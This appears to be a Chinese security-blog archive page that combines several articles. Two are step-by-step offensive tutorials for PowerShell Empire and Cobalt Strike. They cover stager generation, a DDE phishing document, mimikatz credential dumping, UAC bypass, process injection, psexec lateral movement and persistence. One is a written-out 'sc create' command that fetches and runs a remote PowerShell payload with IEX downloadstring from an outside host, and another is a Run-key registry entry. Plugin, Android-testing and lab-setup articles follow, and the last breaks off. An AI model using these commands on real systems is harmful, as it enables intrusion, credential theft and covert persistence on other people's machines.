分类目录归档:Hack

PowerShell Empire实战入门篇

*本文原创作者:FK_T,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

PowerShsell Empire中文简称 “帝国” ,可能大多数只听说过这款内网渗透神器,针对windows系统平台而打造的一款渗透工具。在PowerShell方面,帝国实现了无需powershell.exe即可运行PowerShell代理的功能,可快速部署的开发后的模块从按键记录到Mimikatz,可逃避网络检测的能力,适应性强的通信,都包裹在易用性为重点的框架,有点类似于像meterpreter。

Empire详情介绍参考官方网站:http://powershellempire.com/

00X1

Empire运行在linux平台上,不要试图使用centos环境,安装前我们先看看install.sh脚本,建议使用Debian或Ubuntu,以及kali Linux系统,我使用的是系统是Ubuntu系统

git clone https://github.com/EmpireProject/Empire.git  

PowerShell Empire实战入门篇

进入Empire/setup目录安装./install.sh,install.sh脚本里面包含了很多远程下载包,安装过程比较缓慢。

sudo./install.sh

 安装到这就已经结束了,末尾让我们输入随机生成的服务协商密码,直接回车就行了。

PowerShell Empire实战入门篇

目前最新版本可以到的是2.3包含282个模块,和之前的,2.x之后有些使用方法以及命令都有了很大的区别,官网也没有给出更新介绍使用。

PowerShell Empire实战入门篇

输入help查看Empire使用帮助信息

PowerShell Empire实战入门篇

FreeBug有位前辈之前也发了篇关于Empire的文章,Empire2.x 后使用不太一样,可能前辈细节部分没有说清楚具体怎么操作,评论后面一排的有关使用操作问题,主要是细节用法方面, 也是写这篇文章初心之一,文章都是在不同的环境下进行的不过操作方法都是一样的。

 使用方法跟Meterpreter原理是一样的,先设置一个监听,这里要注意了,输入”listeners”它提示说没有建立监听,

 输入uselistener空格按下Tab键可以看到有7种模式

PowerShell Empire实战入门篇

设置一个监听模块为http,这样就可以了 

(Empire:listeners) > uselistener http

(Empire: listeners/http) > 

然后在输入就能info查看具体参数设置

PowerShell Empire实战入门篇

使用set命令可以设置相应参数,修改Name和Host,同样的也可以使用help查看相关命令,然后输入execute命令开始监听。

PowerShell Empire实战入门篇

set Name xiaobai (名字随便填)

set Host ip  (Empir所在服务器IP)

PowerShell Empire实战入门篇

输入listeners列出当前激活的listener 

(Empire: Listenere/http) > listeners

PowerShell Empire实战入门篇

这里要注意一点,当开启多个监听的时候,必须使用不同的名称,并且使用不同的端口,如果设置的端口已经被使用,会有已下提示信息。set空格按两下Tab就会出现相关命令 如下图。 

PowerShell Empire实战入门篇

PowerShell Empire实战入门篇

(Empire: Listeners) > kill xiaobai 删除监听使用kill和创建过的Name的名,back返回上一层 

PowerShell Empire实战入门篇

00×2

生成木马程序

设置完监听,接着我们要生成木马然后运行stager,同样的输入“uselistener”以后按下空格然后在按下tab键,可以看到总共是26个模块。其中multi为通用模块、osx mac操作系统、另外还有linux与windows模块。 生成的文件类型有.dll,bat,vbs等。

PowerShell Empire实战入门篇

1.launcher

实战中直接命令usestager [具体模块]就可以在/tmp目录下生成一个特定文件格式的木马后门,然后通过webshell上传运行就可以了。下面使用launcher+语言类型,不仅有powershell还有python。

PowerShell Empire实战入门篇

使用launcher(这里是pythonl )+侦听的名字“xiaobai”,如下图可以看到生成的Payload是经过base64的编码。

PowerShell Empire实战入门篇

粘贴复制在Linux系统命令行运行即可,agents命令列出当前已激活的代理,“这里注意如果目标主机Username带有(*)的是已提权成功的代理,可通过bypassuac进行提权”,如下目标主机ubuntu已经被控制了。

PowerShell Empire实战入门篇PowerShell Empire实战入门篇

同样的使用launcher(这里是 powershell)+侦听的名字“fkt”。 

刚刚使用kill删除了这里在重新设置了下 

PowerShell Empire实战入门篇

直接在目标机器上面执行,就可以得到这个主机的权限,而且杀毒软件没有任何提示 

PowerShell Empire实战入门篇

使用Cobalt Strike生成的未经过编码的PowerShell执行windows10就报毒提示了

PowerShell Empire实战入门篇

2.agents代理中的使用

当执行上面的powershell生成的木马上线了就会有这段话(Empire: listeners)> [+] Initial agent xxx from ip now active (Slack) , Name就是上线的主机,使用agents就能看到信息条目,类似meterpreter的session会话一样。

PowerShell Empire实战入门篇

list stale  #列出已丢失反弹代理权

PowerShell Empire实战入门篇

那么上线之后我们该如何操作,同样的在agents下输入help查看命令帮助。

(Empire: agents) >help 

PowerShell Empire实战入门篇

使用interact命令跟上刚刚上线的主机Name的名,类似meterpreter中的shell会话一样,也可以直接调用cmd

(Empire: agents)> interact DUW9GMK8

(Empire: DUW9GMK8)> help

PowerShell Empire实战入门篇

PowerShell Empire实战入门篇

SC目标截图

PowerShell Empire实战入门篇

如下图可以看到目标所有机器所在服务器的位置已经下载的文件,还可以使用download下载,upload 上传文件等 

PowerShell Empire实战入门篇

我们直接输入“net user”命令试试,提示使用““帮助”命令agentcmds,很简单的在输入“help agentcmds”就可以查看该命令用法,前面加上一个shell就行,和Cobalt Strike->Interact ->Beacon执行的命令一样。

PowerShell Empire实战入门篇

#加载mimikatz,需要对带有*的权限才能获取系统账号密码。

PowerShell Empire实战入门篇

creds  #查看所有hash值包括明文

PowerShell Empire实战入门篇

creds export/root/HE6YWBSZ.csv #出hash凭证到指定的路径的格式 

PowerShell Empire实战入门篇

PowerShell Empire实战入门篇

3.vbs反弹shell代理

PowerShell Empire实战入门篇

由于之已经设置过了这里只需填写之前监听的名字,execute 执行完了之后会在Empire搭建的服务器上的/tmp/生成个vbs的木马

PowerShell Empire实战入门篇PowerShell Empire实战入门篇

拷贝到目标系统,将生成的这个launcher.vbs在目标机上打开,就会得到这个主机的权限,我使用的是windows10系统,自带的杀毒软件没有任何提示如下。

PowerShell Empire实战入门篇

PowerShell Empire实战入门篇

如果要删除该主机,使用kill或者remove命令,这两个命令是有区别的!

当你想使用”remove V7EXYZT6“删除这个名发现Empire还是会反弹过来,需要使用kill删除,只有删除了监听器的Name才可以使用remove,类似于“Cobalt Strike”需要先执行”Exit“在执行“Remove”才可以移除。

PowerShell Empire实战入门篇

4.launcher_bat

输入usestager windows/launcher_bat命令同样的使用info查看相关参数

PowerShell Empire实战入门篇

之前已经设置过了Name和Host这里只需要监听下名称就好,最后在执行下execute,默认在服务器上的/tmp/下生成加密过的PowerShelll木马,为launcher_bat

PowerShell Empire实战入门篇

PowerShell Empire实战入门篇

直接目标机上打开launcher_bat,就可以得到这个主机的权限cmd一闪而过。这就相当于得到一个MSF会话

PowerShell Empire实战入门篇

5.微软 Office Word 无宏命令执行漏洞

无需开启宏即可渗透:在Office文档中利用DDE执行命令,利用之前爆的这个漏洞配合Emprie反弹一个会话复现下, “制作详细传送门” 我们把之前使用的(Empire: listeners) > launcherpowershell xiaobai  生成的powershell编码过的攻击代码写入到本地安装的httpd默认安装/var/www/html/demo.ps1路径下

PowerShell Empire实战入门篇

PowerShell Empire实战入门篇

编写钓鱼文档,调用cmd远程下载执行powershell脚本

PowerShell Empire实战入门篇

然后在诱导对方点击这里需要触发两次,虚拟机安装了杀软没有任何有关恶意的安全警告

PowerShell Empire实战入门篇

PowerShell Empire实战入门篇

成功拿到会话如下

PowerShell Empire实战入门篇

Empire2.3 包含usemodule204个模块

列出大类模块如下

code_execution #代码执行

collection #信息收集模块、屏幕截图、键盘记录 、剪贴板记录等

credentials #密码凭据的获取和转储

exfiltration #指定ip进行端口扫描

lateral_movement #横向渗透模块

management #用来执行些系统设置,和邮件信息的收集

persistence #权限维持工具

privesc #权限提升

recon #侦察

situational_awareness #评估主机运行环境,网络运行环境

trollsploit #恶作剧

(Empire: 9x7N513) > usemodule 空格Tba键如下

PowerShell Empire实战入门篇

00X3

1.Empire和msf的联动

想利用Empire派生一个meterpreter的shell回来,与Empire,msf进行配合使用,首先我们需要使用Empire建立一个监听,命令如下

(Empire:YU6A1TWD) > usemodulecode_execution/invoke_shellcode

(Empire: powershell/code_execution/invoke_shellcode)> info  

列出帮助信息

PowerShell Empire实战入门篇

设置监听的端口以及msfconsole所在的ip

set Lport 1234

set Lhost 192.168.1.85

execute

PowerShell Empire实战入门篇

同样的msf也需要设置,通过https的方式反向连接,在网速慢的情况下不稳定,如果反弹没有收到数据,可以将监听端口换成443就可以收到Empire反弹回来的shell了如下。

Useexploit/multi/handler

Set payload windows/meterpreter/reverse_https

SetLhost 192.168.1.85

Setlport 1234

exploit

PowerShell Empire实战入门篇

2. 使用Empire内置模块ms16-032提权 

(Empire: 97KXRTD5) >usemodule privesc/ms16-032

(Empire: powershell/privesc/ms16-032)> set Listener xiaobai

(Empire:powershell/privesc/ms16-032) > execute

同样的这里也要需要设置下Listener如下:

PowerShell Empire实战入门篇

3.收集目标有用的信息如下

PowerShell Empire实战入门篇

PowerShell Empire实战入门篇

4.AllChecks模块

(Empire: 97KXRTD5) > usemoduleprivesc/powerup/allchecks  # 检查提权方法

PowerShell Empire实战入门篇

(Empire:powershell/privesc/powerup/allchecks) > execute  

执行完后,输出可识别的漏洞并列出提权方法,跟PowerShell ,PowerUp.ps1脚本是一样的

PowerShell Empire实战入门篇

5.UAC 提权模块

输入usemodule privesc/bypassuac,在设置监听的Name,然后在执行execute,需要目标主机主动点击两次触发,成功反弹一个新的shell会话如下

PowerShell Empire实战入门篇

PowerShell Empire实战入门篇

PowerShell Empire实战入门篇

输入agents如下Username带星号的即为刚刚提权成功的

PowerShell Empire实战入门篇

6. arpscan 网络扫描

Empire内置arpsan模块,在局域网内发送ARP数据包,用来收集活跃主机IP和MAC地址信息

输入usemodule situational_awareness/network/arpscan 

PowerShell Empire实战入门篇

set Range 192.168.2.0-192.168.2.254  设置要扫描的的网段

execute 执行命令 

PowerShell Empire实战入门篇

7.会话注入得到反弹代理

(Empire: FD6TGMH7) > usemodulemanagement/psinject

(Empire: powershell/management/psinject)> info

(Empire: powershell/management/psinject)> set ProcId 2264

(Empire: powershell/management/psinject)> set Listener xiaobai

(Empire: powershell/management/psinject)> execute

选择psinject模块进行会话注入,直接输入ps选择一个进程的PID,使用进程注入模块,来获取权限。需要设置的就是ProcID 和 Listener就好了。

PowerShell Empire实战入门篇

PowerShell Empire实战入门篇

设置好后执行,会返回一个新的会话

PowerShell Empire实战入门篇

8.psexec模块横向生成一个反弹代理

(Empire:powershell/lateral_movement/invoke_psexec) > set ComputerName 192.168.1.116

(Empire:powershell/lateral_movement/invoke_psexec) > set Listener xiaobai

(Empire:powershell/lateral_movement/invoke_psexec) > execute

选择一个带*的目标主机使用invoke_psexec该模块进行横向渗透,设置目标的主机和监听名如下

PowerShell Empire实战入门篇

PowerShell Empire实战入门篇

成功则反弹一个新的会话权限为system

PowerShell Empire实战入门篇

00×4 权限维持

1.registry

PowerShell Empire实战入门篇

在注册表regedit HKLM:SOFTWARE/Microsoft/Windows/CurrentVersion/Debug可以看到

PowerShell Empire实战入门篇

因为是开机启动,所以会弹个黑框,之后还会弹出注册表添加的powershell启动项的框

PowerShell Empire实战入门篇

2.schtasks

同样的选择schtasks模块设置下监听名就行,这里还需要设置下DailyTime时间如果不设置默认的是每天早上的9点

(Empire: DCBL4SUF) > usemodule persistence/elevated/schtasks*

(Empire:powershell/persistence/elevated/schtasks) > set Listener xiaobai

(Empire:powershell/persistence/elevated/schtasks) >set DailyTime 22:30 (设置时间)

(Empire:powershell/persistence/elevated/schtasks) > execute

PowerShell Empire实战入门篇

PowerShell Empire实战入门篇

在任务计划程序库可以看到-任务为Updater-启动程序如下可以到为powershell

PowerShell Empire实战入门篇

这里就不等了手动启动下重新反弹一个新的会话

PowerShell Empire实战入门篇

(Empire: BLWHGFPS) > agents 

第一个是注册表的权限还是不变,第2个为服务任务计划程序库提权之后为ssystem 权限

PowerShell Empire实战入门篇

总结

最近工作交接比较忙,笔记本太重了 , 在公司部署好的环境,回来借朋友的电脑重新安装环境,还有些模块功能没写,花了几天时间写到这眼都花了,由于没有域环境,文章中只是介绍了Empirer大致的基本用法,大量的模块都集成在usemodule下,主要还是在于引导,使用方法多用多练就好,才能在实践中灵活的运用,希望通过篇文章对没有接触过的Empire有一个比较全面的了解。

参考:

官网WiKi 

渗透神器Empire安装和简单使用

*本文原创作者:FK_T,本文属FreeBuf原创奖励计划,未经许可禁止转载

经验分享 | Burpsuite插件的使用

Burp插件的使用

使用准备

Burpsuite可以使用三种语言编写的扩展插件,Java、Python和Ruby。除Java外,其它两种需要的扩展插件需要配置运行环境。

Python

下载地址:http://www.jython.org/downloads.html

下载Standalone Jar版本,下载后将Jar文件放置在Burpsuite文件夹。

Ruby

下载地址:http://jruby.org/download

下载Complete Jar 版本,下载后将Jar文件放置在Burpsuite文件夹。

配置运行环境

Extender —— Options中配置Python和Ruby的jar文件路径。

经验分享 | Burpsuite插件的使用

插件安装路径

Brup的默认缓存路径在C盘,为避免重装系统造成配置文件丢失和便于转移Burpsuite路径,先在User Options里更改临时文件路径。

经验分享 | Burpsuite插件的使用

Logger++

Burpsuite自带的日志只记录了HTTP Proxy的请求,无法查看Repeater、Intruder等模块的历史记录,Logger++增加了这方面的功能,可以方便的筛选查看各模块历史记录。

安装:

可以从Logger++的Github页面下载插件或从BApp Store安装(貌似BApp Stroe中的更新不如Github上及时)。

经验分享 | Burpsuite插件的使用

使用:

选项设置,这里可以设置需要记录日志的模块和日志量。

 经验分享 | Burpsuite插件的使用

日志查看:View Logs中查看所有记录模块的日志,可以设置规则过滤。

根据Tool、Host、Method、Status等各日志内容设置规则,可以使用正则表达式,多个规则可使用&&连接组合使用。具体过滤规则Help中有详细介绍。

经验分享 | Burpsuite插件的使用

关键字搜索:

经验分享 | Burpsuite插件的使用

CSRF Token Tracker

用于渗透测试过程中CSRF Token的自动更新。

安装:

经验分享 | Burpsuite插件的使用

使用:

使用DVWA测试,设置安全级别为高。

使用Burpsuite拦截密码修改请求包,发送到Repeater。

经验分享 | Burpsuite插件的使用

先看看不更新请求包中的user_token重复发送包是什么情况:

在Repeater中重放包,第一次可以成功,第二次由于user_token失效,返回302,密码修改失败。

经验分享 | Burpsuite插件的使用

下面开始使用CSRF Token Tracker自动更新Token:

设置CSRF Token Tracker:添加一条规则,并勾选生效。

由于DVWA密码修改请求包中的CSRF TOKEN的名称和服务器响应包中一致,只需要填写Name即可。

经验分享 | Burpsuite插件的使用

再回到Repeater,重新发送密码修改包。

经验分享 | Burpsuite插件的使用

可以看到密码修改成功,请求包中的CSRF TOKEN自动更新(可在Logger++中查看)。

XSS Validator

XSS Validator用于增强Burpsuite对XSS漏洞的检测。

安装:

XSS Validator需要Phantom.js或Slimer.js以及xss-detector脚本的配合使用来检测XSS漏洞。

  1. BApp Store中安装XSS Validator
  2. 下载Phantom.js 链接:http://phantomjs.org/download.html
  3. 下载xss.js 链接:https://github.com/nVisium/xssValidator/tree/master/xss-detector

使用:

运行XSS-Detector服务

Phantom.js和xss.js文件放在同一目录下,使用Phantom.js运行本地XSS-Detector服务。

xss.js文件中包含XSS-Detector服务的监听IP、端口,默认为127.0.0.1:8093。

启动命令:phantomjs.exe xss.js

经验分享 | Burpsuite插件的使用

XSS Validator设置

如果xss.js文件中的IP、端口等未修改,保持默认即可。

经验分享 | Burpsuite插件的使用

Intruder中使用XSS Validator Payloads

DVWA的XSS(Reflected)页面,发送请求,Burpsuite拦截请求包发送到Intruder,设置Payload位置。

经验分享 | Burpsuite插件的使用

Payload Type选择Extension-generated。

经验分享 | Burpsuite插件的使用

Generater选择XSS Validator Payloads。

经验分享 | Burpsuite插件的使用

添加XSS测试成功的Flag(XSS Validator中的Grep Phrase字符串)。

经验分享 | Burpsuite插件的使用

Intruder执行后,XSS-Detector服务接受到请求。

经验分享 | Burpsuite插件的使用

匹配到Flag(fy7sdufsuidfhuisdf)即为存在XSS漏洞。

经验分享 | Burpsuite插件的使用

可以把这个XSS的Payload复制出来到浏览器验证(在Burpsuite中拦截请求包替换Payload),验证成功。

经验分享 | Burpsuite插件的使用

CO2

CO2包含多个小工具,Sqlmap命令生成、执行、字典生成、Shell生成等。

安装:

通过BApp Store安装。

使用:

Burp拦截可能存在注入参数的请求包,右键菜单,Send to SQLMapper。

经验分享 | Burpsuite插件的使用

发送后自动跳转到CO2-SQLMapper界面,生成sqlmap 命令。Config中配置好python、sqlmap的路径,可以点击Run自动运行命令。Options中可配置其它sqlmap测试参数。

经验分享 | Burpsuite插件的使用

AuthMatrix

AuthMatrixy插件用于越权漏洞的检测,在插件中配置多个不同用户的Cookies,检测各等级账号对页面的访问权限。

Github:https://github.com/SecurityInnovation/AuthMatrix

经验分享 | Burpsuite插件的使用

限于篇幅,不再详细截图介绍了,感兴趣的同学自行研究。

*本文作者:Shad0wpf_,转载请注明来自 FreeBuf.COM

Cobalt Strike实战技巧持久性权限控制姿势

*本文原创作者:FK_T,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

想写这篇文章已经有一段时间了,接触Cobalt Strike的时间并不是很长,一个朋友曾开玩笑的说道Cobalt Strike“是灰鸽子的旗舰版”,CS已经成为我们在做后渗透、权限维持以及内网渗透中,少不了的利器,FreeBuf已有前辈发过几篇很棒的文章,让我们从文章中收获不少的知识点,介绍就不再多说了。 第一次发, 文章难免有错误的地方请大佬们多多指点。

我使用的是Cobalt Strike3.6相信有不少玩Cobalt Strike安装完成后都会遇到过的两个问题

服务器端连接:./teamserver ip 密码

Cobalt Strike实战技巧持久性权限控制姿势

一个是teamserver脚本的问题,这里要到teamserver脚本中删除一些字符串否则启动会报错,(多谢大佬提醒),把-XX:AggressivHeap -XX:UseParallelGc删除。

Cobalt Strike实战技巧持久性权限控制姿势

 在服务器中CS已经启动成功了,客户端连接提示超时,之前设置的监听端口忽略。

Cobalt Strike实战技巧持久性权限控制姿势

这时我们还需要关闭服务器Linux防火墙不然客户端连接不上的。 Linux执行:  service iptables stop

 50050是默认端口,可以在浏览器中检测到是否能访问

Cobalt Strike实战技巧持久性权限控制姿势 

在客户端输入对应的信息就连接上了CS,”User”是可以自己随便填写用户的。 

登入成功后的界面:

Cobalt Strike实战技巧持久性权限控制姿势

下面也简单的说下创建监听和Scripted web_Delivery这块

然后在创建一个监听 “从Cobalt Strike菜单栏”->Listeners

Cobalt Strike实战技巧持久性权限控制姿势

填写以下信息即可:Payload中的windows/beacon_http/reverse_http:有效载荷

Cobalt Strike实战技巧持久性权限控制姿势 

单击保存。默认会使用服务器的IP地址或者填入任何解析的域名:

Cobalt Strike实战技巧持久性权限控制姿势

点击确定之后就会开始监听1900端口

Cobalt Strike实战技巧持久性权限控制姿势 

还需要在设置下Powershell  Scripted web_Delivery类似于msf的web_delivery

Cobalt Strike实战技巧持久性权限控制姿势 

填写所需参数默认端口是80,这里我用19001端口,Type这块一般都用powershell,根据需要可以自己选择。

Cobalt Strike实战技巧持久性权限控制姿势

Cobalt Strike实战技巧持久性权限控制姿势

创建成功会弹出以下一个窗口里面包含powershell远程下载执行命令

Cobalt Strike实战技巧持久性权限控制姿势 

顺便也看看web_Delivery生成的powershell的木马,通过powershell来执行某些指令通过Base64方式进行加密

Cobalt Strike实战技巧持久性权限控制姿势

依次点击Attacks ->Web Drive-by->Manage对之前创建的web服务进行管理

复制URL

Cobalt Strike实战技巧持久性权限控制姿势 

在目标机器上执行

Cobalt Strike实战技巧持久性权限控制姿势

这时已经能控制目标主机了

Cobalt Strike实战技巧持久性权限控制姿势 

当目标机器重启电脑后Cobalt Strike就会失去对目标主机的控制权限,这时我们该如何持久的控制对方主机。

Cobalt Strike实战技巧持久性权限控制姿势 

在我刚接触msf这块的时候印象最深刻的就是windows xp系统使用metasploit留的MetSVC和Persistence这两个持久性后门控制,那么使用Cobalt Strike如何持久控制目标主机权限的呢。

正文

设置powershell脚本开机自启动后门。

使用SC命令创建windows服务名最好伪装下,binpath= 这里一定要注意有个空格不然创建不成功把powershell远程执行下载命令也包含进去地址:”http://192.168.1.82:19001/a“链接就是我们刚刚生成的木马地址

 sc create "name" binpath= "cmd /c start powershell.exe -nop -w hidden -c /"IEX ((new-object net.webclient).downloadstring('http://192.168.1.82:19001/a'))/""

Cobalt Strike实战技巧持久性权限控制姿势 

这时目标就会有个刚创建个为”name”的服务,可执行文件的路径都在刚刚命令执行过程中指定到的里面

Cobalt Strike实战技巧持久性权限控制姿势 

SC config “name” start= auto 我们需要把这个name服务设置为自动。

Cobalt Strike实战技巧持久性权限控制姿势

Sc description “name” “description” 设置服务的描述字符串

net start “name” 启动服务

SC delete “name” 删除这个服务,不想使用服务直接删除

反向连接这时我们重新拿到一个shell,已服务运行的权限运行可以看到是SYSTEM

Cobalt Strike实战技巧持久性权限控制姿势 

重启下目标主机试试,现在两个会话已经失去了连接。

Cobalt Strike实战技巧持久性权限控制姿势 

通过powershell留开机自启动服务,当目标主机重启电脑之后,不断向攻击机器发送请求数据包,重新拿到控制权限

Cobalt Strike实战技巧持久性权限控制姿势

Cobalt Strike实战技巧持久性权限控制姿势 

下面两种方法就比较常见的留自启动后门

service

生成service的exe程序放到目标机器

Cobalt Strike实战技巧持久性权限控制姿势

这里选择windows Service EXE

Cobalt Strike实战技巧持久性权限控制姿势

这里我为了方便就直接拖到虚拟机里面了

Cobalt Strike实战技巧持久性权限控制姿势

当然在实战过程中点击Explore->File Browser同样的也可以上传文件

Cobalt Strike实战技巧持久性权限控制姿势 

同样的

先创建一个服务名称后面跟着木马上传的路径,这里如果要保证”windows Service EXE程序不被杀毒软件拦截,最好做下免杀,在放到更加隐蔽的目录

sc create "server power" binpath= "C:/Users/Administrator/Desktop/artifact.exe"

sc description "server power" "description" 设置服务的描述字符串

sc config "server power" start= auto 设置这个服务为自动启动

net start "server power" 启动服务 

Cobalt Strike实战技巧持久性权限控制姿势

Cobalt Strike实战技巧持久性权限控制姿势

启动服务之后CS重新拿到一个反向连接shell会话

Cobalt Strike实战技巧持久性权限控制姿势 

重启目标机器,也能拿到控制权限。

Cobalt Strike实战技巧持久性权限控制姿势 

regedit

生成一个exe木马程序

Cobalt Strike实战技巧持久性权限控制姿势

设置开机启动项,往注册表HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run添加木马程序路径 

reg add HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run /v "Keyname" /t REG_SZ /d "C:/Users/Administrator/Desktop/artifact1.exe" /f 

Cobalt Strike实战技巧持久性权限控制姿势

Cobalt Strike实战技巧持久性权限控制姿势

当系统注销,再次进入登入到目标系统就会上线,权限是继承的。

Cobalt Strike实战技巧持久性权限控制姿势

总结

结尾也在唠叨下关于留自启动后门方法很多,大多数都添加到服务,加注册表 加启动项,文章中也只是使用Cobalt Strike本身自带的攻击模块去实现留自启动的操作,如果团体服务器重启了,Cobalt Strike还想再次连上控制目标机器,客户端需要重新设置和之前一样的操作,Listeners以及Scriptad Web Delivery端口等必须设置的和之前一致,这样被控制的机器再次发包请求服务器时才能重新获取控制权限。

*本文原创作者:FK_T,本文属FreeBuf原创奖励计划,未经许可禁止转载

挖掘利器Andro Tickler:安卓应用渗透测试和审核工具箱

AndroTickler是一款Java工具,可以帮助你更快,更轻松,更高效地测试Android应用程序。 

挖掘利器Andro Tickler:安卓应用渗透测试和审核工具箱

AndroTickler提供了许多信息收集功能,包括静态和动态检查,涵盖Android应用程序的大部分测试。

挖掘利器Andro Tickler:安卓应用渗透测试和审核工具箱

它还提供了pentesters在pentests期间需要的几个功能。

 AndroTickler还与Frida集成,提供方法追踪和操作。

它以前以Tickler的名义发表。AndroTickler需要一个linux主机和一个连接到其USB端口的扎根Android设备。该工具不会在Android设备上安装任何东西,它只会在/ sdcard上创建一个Tickler目录。 AndroTickler依靠Android SDK在设备上运行命令,并将应用程序的数据复制到主机上的TicklerWorkspace目录以供进一步分析。 

TicklerWorkspace是AndroTickler的工作目录,每个应用程序在TicklerWorkspace中都有一个单独的子目录,可以包含以下内容(取决于用户操作):DataDir目录:应用程序的数据目录的副本提取的目录:应用程序上apktool的输出,包含smali代码,资源,库…等。

信息收集/静态分析:

在设备上列出安装的应用程序:

java -jar AndroTickler.jar -pkgs
搜索设备上安装的应用程序(包),其包名称包含searchKey

java -jar AndroTickler.jar -findPkg <searchKey>
包没有额外的属性

java -jar AndroTickler.jar -pkg <package> [other options]

AndroTickler需要一个linux主机和一个连接到其USB端口的扎根Android设备。该工具不会在Android设备上安装任何东西,它只会在/ sdcard上创建一个Tickler目录。AndroTickler依靠Android SDK在设备上运行命令,并将应用程序的数据复制到主机上的TicklerWorkspace目录以供进一步分析。TicklerWorkspace是AndroTickler的工作目录,每个应用程序在 TicklerWorkspace中都有一个单独的子目录,可以包含以下内容(取决于用户操作):

+ DataDir目录:应用程序数据目录的副本

+提取的目录:应用程序上apktool的输出,包含smali代码,资源,库等。

+ bgSnapshots目录:包含从设备复制的背景快照。

+图片目录:包含为该应用拍摄的任何截图。

+ JavaCode目录:包含由dex2jar和JD tools反编译的应用程序的Java代码

+ logs目录:包含由-t -log生成的日志文件,如下所述

+ transfers:使用-copy2host 

+ AndroidManifest 从设备复制到主机的文件和目录。 xml:根据apktool 

+ 应用程序的清单文件base.apk:安装在设备上的应用程序的APK文件

+ debuggable.apk:应用程序的可调试版本,由-dbg生成

挖掘利器Andro Tickler:安卓应用渗透测试和审核工具箱

libs目录和Tickler.conf配置文件存在于jar文件的同一目录下。配置文件设置主机上的TicklerDir目录的位置和android设备的/ sdcard上的Tickler 。如果配置文件不存在,或者这两个目录没有设置,则会使用默认值(分别位于当前目录和/ sdcard / Tickler上的Tickler_workspace)。Tickler_lib目录包含一些由AndroTickler使用的Java库和外部工具,如apktool和dex2jar。

AndroTickler高度依赖于以下工具,所以在使用之前,它们应该存在于您的机器上:

+ Java 7或更高版本

+ Android SDK工具(adb和friends)

+ sqlite3

有些功能需要其他工具,但是AndroTickler仍然可以在没有它们的情况下运行:

+ Frida

+ jarsigner

用法和建筑:

git clone https://github.com/ernw/AndroTickler && cd AndroTikler

gradlew

gradlew build

cd build/libs

java -jar AndroTickler.jar -h

*本文作者:学霸么么哒,转载请注明来自FreeBuf.COM

Detection Lab简介与使用指南

Detection Lab其实是一套Packer和Vagrant脚本的集合,它可以帮助你迅速上线一个Windows活动目录,并给你提供一系列完整的终端安全以及日志工具。

Detection Lab简介与使用指南

本项目旨在给大家提供一种更加简单快捷的方式来搭建出一套实验环境,该环境已提前预装了相关的实验工具,并完成了所有的预配置。本项目是作者花费了多个周末耗时好几个月的时间完成的,希望大家能够喜欢。

项目地址

GitHub传送门

DetectionLab的适用对象

该工具可能适用的场景包括:

1.   需要查看特定攻击技术所生成的日志以及警报类型的数字取证以及事件响应专家。

2.   需要快速搭建活动目录环境(用于测试目的)的漏洞Hunter。

3.   需要查看取证数据以及日志类型的红队成员。

4.   需要获取安全工具自动化安全与配置参考资料的研究人员。

5.   需要快速搭建一体化小型测试平台的安全研究人员。

DetectionLab实验工具

DetectionLab自带的工具包旨在给安全研究人员提供最大程度的可见性,它所提供的操作系统不仅没有实现任何的安全增强功能,而且还故意设计了很多安全漏洞,所以千万不要再任何公共网络中运行Detection Lab自带的操作系统。

DetectionLab预装的安全工具以及预配置信息如下所示:

日志增强

-实现了Palantir的Windows事件转发订阅以及自定义信道:

Detection Lab简介与使用指南

-所有自动开启的条目都会通过AutorunsToWinEventLog记录到Windows事件日志中:

Detection Lab简介与使用指南

-工具通过GPO设置了自定义的Windows审计配置,其中包含命令行进程审计以及额外的操作系统层日志记录。下面给出的是GPO审计样本:

Detection Lab简介与使用指南

-所有主机的PowerShell转录日志会被保存在WEF服务器中(SMB共享)。

-启用了SMBv1审计。

-Logger主机预配置了Splunk,并会对所有收集到的日志进行解析。

终端安全

-采用了Palantir的开源osquery配置,所有的osquery代理都会链接到Logger主机中的Fleet服务器:

Detection Lab简介与使用指南

-安装了Sysmon,并使用了SwiftOnSecurity的开源配置

Detection Lab简介与使用指南

-除此之外,目录C:/Tools中还包括ProcessExplorer、ProcessMonitor、TCPView和PsExec等实用工具。

Windows主机中预装的工具如下:

Sysmon

osquery

AutorunsToWinEventLog

ProcessMonitor

ProcessExplorer

PsExec

TCPView

GoogleChrome

Atomeditor

WinRar

Mimikatz

DetectionLab总共由4种主机构成:

1.   DC:一个Windows 2016域名控制器;

2.   WEF:一台Windows 2016服务器,用来管理Windows事件收集;

3.   Win10:一台Windows 10主机,用来模拟一个非服务器的终端;

4.   Logger:一台Ubuntu 16.04主机,负责运行SplunkFleet服务器;

DetectionLab信息

1.   域名:windomain.local

2.   管理员登录:vagrant:vagrant

3.   Fleet登录:admin:admin123#

4.   Splunk登录:admin:changeme

运行要求

1.   55GB以上的磁盘空间;

2.   Packer1.0.0或更新版本;

3.   Vagrant1.9.2更新版本;

4.   Virtualbox或VMWare Fusion/Workstation;

DetectionLab已在下列平台上测试成功:

Detection Lab简介与使用指南

环境搭建

为了搭建Detection Lab,我们首先需要搭建一台Windows 2016服务器以及一台Windows 10主机(使用Packer),总共所需时间大约为2小时。

接下来,创建Windows域名,并在主机中安装额外的软件。Vagrant的运行需要安装类似VirtualBox或VMWare之类的虚拟机,配置完所有的4个主机其整个过程大约需要90分钟。配置完成之后,你只需要2-3分钟即可让实验环境上线。

自定义配置

DetectionLab允许研究人员根据自己的需要来对其进行自定义配置。如果你不喜欢环境自带的工具,你完全可以将其删除。如果你想使用自己的Sysmon配置,直接替换掉原有配置文件就可以了。如果你只想要一个普通的活动目录,它同样能够满足你的需求。

注意事项

本项目自带的工具完全是出于技术角度来提供给大家的,如果你在使用过程中发现了任何问题的话(包括漏洞),请及时在本项目的【GitHub主页】上留言。

* 参考来源:medium,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

老板说安全很重要,但是没钱咋办?

*本文原创作者:戒了,本文属FreeBuf原创奖励计划,未经许可禁止转载

一 、摘要

本文主要讲述,在一个资(bu)金(xiang)匮(hua)乏(qian)的甲方安全人员,为同病相怜的同学们提供几个免费的替代方案。

二、背景

随着在上家单位孵化的项目意外流产,我也离职了,来到了一家小甲方。来了之后才知道,原来不是所有甲方都是器大活好,啊!不对,财大气粗!

